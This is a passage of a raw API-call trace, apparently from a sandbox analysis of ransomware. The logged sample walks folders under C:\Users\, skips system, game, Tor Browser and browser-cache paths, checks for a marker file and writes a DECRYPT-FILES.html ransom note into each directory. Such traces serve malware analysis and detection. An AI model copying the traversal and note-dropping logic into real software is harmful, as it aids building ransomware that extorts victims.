lpFindFileData=0x321fa98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x890bb090, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x890bb090, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x890bb090, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="\x82df\x76c5\x16a0\xf2c6\xfd14\x321")) returned 0xffffffff [0075.305] CloseHandle (hObject=0xffffffff) returned 0 [0075.305] FindNextFileW (in: hFindFile=0x66ce18, lpFindFileData=0x321fd14 | out: lpFindFileData=0x321fd14*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0075.305] lstrcmpW (lpString1="Users", lpString2=".") returned 1 [0075.305] lstrcmpW (lpString1="Users", lpString2="..") returned 1 [0075.305] lstrcatW (in: lpString1="Users", lpString2="\\" | out: lpString1="Users\\") returned="Users\\" [0075.306] lstrcatW (in: lpString1="C:\\", lpString2="Users\\" | out: lpString1="C:\\Users\\") returned="C:\\Users\\" [0075.306] StrStrW (lpFirst="C:\\Users\\", lpSrch=":\\Windows") returned 0x0 [0075.306] StrStrW (lpFirst="C:\\Users\\", lpSrch="\\Program Files") returned 0x0 [0075.306] StrStrW (lpFirst="C:\\Users\\", lpSrch="\\Games\\") returned 0x0 [0075.306] StrStrW (lpFirst="C:\\Users\\", lpSrch="\\Tor Browser\\") returned 0x0 [0075.306] StrStrW (lpFirst="C:\\Users\\", lpSrch="\\ProgramData\\") returned 0x0 [0075.306] StrStrW (lpFirst="C:\\Users\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0075.306] StrStrW (lpFirst="C:\\Users\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0075.306] StrStrW (lpFirst="C:\\Users\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0075.306] StrStrW (lpFirst="C:\\Users\\", lpSrch="\\All Users") returned 0x0 [0075.306] lstrlenW (lpString="C:\\Users\\") returned 9 [0075.306] lstrlenW (lpString="wevkgn5.dat") returned 11 [0075.306] wsprintfW (in: param_1=0x321f278, param_2="%s\\%s" | out: param_1="C:\\Users\\\\wevkgn5.dat") returned 21 [0075.306] CreateFileW (lpFileName="C:\\Users\\\\wevkgn5.dat" (normalized: "c:\\users\\wevkgn5.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x23c [0075.308] lstrlenW (lpString="C:\\Users\\") returned 9 [0075.308] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0075.308] wsprintfW (in: param_1=0x321f278, param_2="%s\\%s" | out: param_1="C:\\Users\\\\DECRYPT-FILES.html") returned 28 [0075.308] CreateFileW (lpFileName="C:\\Users\\\\DECRYPT-FILES.html" (normalized: "c:\\users\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0075.308] lstrlenW (lpString="C:\\Users\\") returned 9 [0075.308] lstrcatW (in: lpString1="C:\\Users\\", lpString2="*" | out: lpString1="C:\\Users\\*") returned="C:\\Users\\*" [0075.308] FindFirstFileW (in: lpFileName="C:\\Users\\*", lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x91869690, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x91869690, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66cf18 [0075.309] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0075.309] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x91869690, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x91869690, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.309] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0075.309] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0075.309] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 1 [0075.309] lstrcmpW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2=".") returned 1 [0075.309] lstrcmpW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2="..") returned 1 [0075.309] lstrcatW (in: lpString1="5p5NrGJn0jS HALPmcxz", lpString2="\\" | out: lpString1="5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0075.309] lstrcatW (in: lpString1="C:\\Users\\", lpString2="5p5NrGJn0jS HALPmcxz\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0075.309] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", lpSrch=":\\Windows") returned 0x0 [0075.309] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", lpSrch="\\Program Files") returned 0x0 [0075.309] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", lpSrch="\\Games\\") returned 0x0 [0075.309] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", lpSrch="\\Tor Browser\\") returned 0x0 [0075.309] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", lpSrch="\\ProgramData\\") returned 0x0 [0075.309] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0075.309] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0075.309] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0075.309] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", lpSrch="\\All Users") returned 0x0 [0075.309] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 30 [0075.309] lstrlenW (lpString="wevkgn5.dat") returned 11 [0075.309] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\\\wevkgn5.dat") returned 42 [0075.309] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\\\wevkgn5.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\wevkgn5.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x2f4 [0075.311] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 30 [0075.311] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0075.311] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\\\DECRYPT-FILES.html") returned 49 [0075.311] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\\\DECRYPT-FILES.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0075.313] WriteFile (in: hFile=0x30c, lpBuffer=0x2f90000*, nNumberOfBytesToWrite=0x19ba, lpNumberOfBytesWritten=0x321eff8, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesWritten=0x321eff8*=0x19ba, lpOverlapped=0x0) returned 1 [0075.316] CloseHandle (hObject=0x30c) returned 1 [0075.316] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 30 [0075.316] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", lpString2="*" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*" [0075.316] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*", lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9188f7f0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x9188f7f0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66cfd8 [0075.316] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0075.316] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9188f7f0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x9188f7f0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.316] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0075.317] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0075.317] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0075.317] lstrcmpW (lpString1="AppData", lpString2=".") returned 1 [0075.317] lstrcmpW (lpString1="AppData", lpString2="..") returned 1 [0075.317] lstrcatW (in: lpString1="AppData", lpString2="\\" | out: lpString1="AppData\\") returned="AppData\\" [0075.317] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", lpString2="AppData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\" [0075.317] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\", lpSrch=":\\Windows") returned 0x0 [0075.317] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\", lpSrch="\\Program Files") returned 0x0 [0075.317] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\", lpSrch="\\Games\\") returned 0x0 [0075.317] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\", lpSrch="\\Tor Browser\\") returned 0x0 [0075.317] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\", lpSrch="\\ProgramData\\") returned 0x0 [0075.317] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0075.317] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0075.317] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0075.317] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\", lpSrch="\\All Users") returned 0x0 [0075.317] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned 38 [0075.317] lstrlenW (lpString="wevkgn5.dat") returned 11 [0075.317] wsprintfW (in: param_1=0x321ed80, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\\\wevkgn5.dat") returned 50 [0075.317] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\\\wevkgn5.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\wevkgn5.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x308 [0075.318] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned 38 [0075.318] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0075.318] wsprintfW (in: param_1=0x321ed80, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\\\DECRYPT-FILES.html") returned 57 [0075.318] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\\\DECRYPT-FILES.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0075.320] WriteFile (in: hFile=0x234, lpBuffer=0x2f90000*, nNumberOfBytesToWrite=0x19ba, lpNumberOfBytesWritten=0x321ed7c, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesWritten=0x321ed7c*=0x19ba, lpOverlapped=0x0) returned 1 [0075.321] CloseHandle (hObject=0x234) returned 1 [0075.321] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned 38 [0075.321] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\", lpString2="*" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*" [0075.321] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*", lpFindFileData=0x321f5a0 | out: lpFindFileData=0x321f5a0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9188f7f0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x9188f7f0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66d298 [0075.321] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0075.321] FindNextFileW (in: hFindFile=0x66d298, lpFindFileData=0x321f5a0 | out: lpFindFileData=0x321f5a0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9188f7f0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x9188f7f0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.321] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0075.321] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0075.321] FindNextFileW (in: hFindFile=0x66d298, lpFindFileData=0x321f5a0 | out: lpFindFileData=0x321f5a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9188f7f0, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x9188f7f0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x9188f7f0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x19ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0075.321] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0075.321] FindNextFileW (in: hFindFile=0x66d298, lpFindFileData=0x321f5a0 | out: lpFindFileData=0x321f5a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1 [0075.321] lstrcmpW (lpString1="Local", lpString2=".") returned 1 [0075.321] lstrcmpW (lpString1="Local", lpString2="..") returned 1 [0075.321] lstrcatW (in: lpString1="Local", lpString2="\\" | out: lpString1="Local\\") returned="Local\\" [0075.322] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\", lpString2="Local\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\" [0075.322] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\", lpSrch=":\\Windows") returned 0x0 [0075.322] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\", lpSrch="\\Program Files") returned 0x0 [0075.322] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\", lpSrch="\\Games\\") returned 0x0 [0075.322] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\", lpSrch="\\Tor Browser\\") returned 0x0 [0075.322] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\", lpSrch="\\ProgramData\\") returned 0x0 [0075.322] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0075.322] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0075.322] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0075.322] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\", lpSrch="\\All Users") returned 0x0 [0075.322] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\") returned 44 [0075.322] lstrlenW (lpString="wevkgn5.dat") returned 11 [0075.322] wsprintfW (in: param_1=0x321eb04, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\\\wevkgn5.dat") returned 56 [0075.322] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\\\wevkgn5.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\wevkgn5.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x238 [0075.323] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\") returned 44 [0075.323] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0075.323] wsprintfW (in: param_1=0x321eb04, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\\\DECRYPT-FILES.html") returned 63 [0075.323] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\\\DECRYPT-FILES.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0075.324] WriteFile (in: hFile=0x244, lpBuffer=0x2f90000*, nNumberOfBytesToWrite=0x19ba, lpNumberOfBytesWritten=0x321eb00, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesWritten=0x321eb00*=0x19ba, lpOverlapped=0x0) returned 1 [0075.325] CloseHandle (hObject=0x244) returned 1 [0075.326] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\") returned 44 [0075.326] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\", lpString2="*" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\*" [0075.326] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\*", lpFindFileData=0x321f324 | out: lpFindFileData=0x321f324*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9188f7f0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x9188f7f0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66ce58 [0075.326] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0075.326] FindNextFileW (in: hFindFile=0x66ce58, lpFindFileData=0x321f324 | out: lpFindFileData=0x321f324*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9188f7f0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x9188f7f0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.326] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0075.326] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0075.326] FindNextFileW (in: hFindFile=0x66ce58, lpFindFileData=0x321f324 | out: lpFindFileData=0x321f324*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0075.326] lstrcmpW (lpString1="Adobe", lpString2=".") returned 1 [0075.326] lstrcmpW (lpString1="Adobe", lpString2="..") returned 1 [0075.326] lstrcatW (in: lpString1="Adobe", lpString2="\\" | out: lpString1="Adobe\\") returned="Adobe\\" [0075.326] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\", lpString2="Adobe\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\" [0075.326] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\", lpSrch=":\\Windows") returned 0x0 [0075.326] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\", lpSrch="\\Program Files") returned 0x0 [0075.326] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\", lpSrch="\\Games\\") returned 0x0 [0075.326] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\", lpSrch="\\Tor Browser\\") returned 0x0 [0075.326] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\", lpSrch="\\ProgramData\\") returned 0x0 [0075.327] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0075.327] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0075.327] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0075.327] StrStrW (lpFirst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\", lpSrch="\\All Users") returned 0x0 [0075.327] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\") returned 50 [0075.327] lstrlenW (lpString="wevkgn5.dat") returned 11 [0075.327] wsprintfW (in: param_1=0x321e888, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\\\wevkgn5.dat") returned 62 [0075.327] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\\\wevkgn5.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\wevkgn5.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x1fc [0075.330] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\") returned 50 [0075.330] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0075.330] wsprintfW (in: param_1=0x321e888, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\\\DECRYPT-FILES.html") returned 69 [0075.330] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\\\DECRYPT-FILES.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0075.332] WriteFile (in: hFile=0x310, lpBuffer=0x2f90000*, nNumberOfBytesToWrite=0x19ba, lpNumberOfBytesWritten=0x321e884, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesWritten=0x321e884*=0x19ba, lpOverlapped=0x0) returned 1 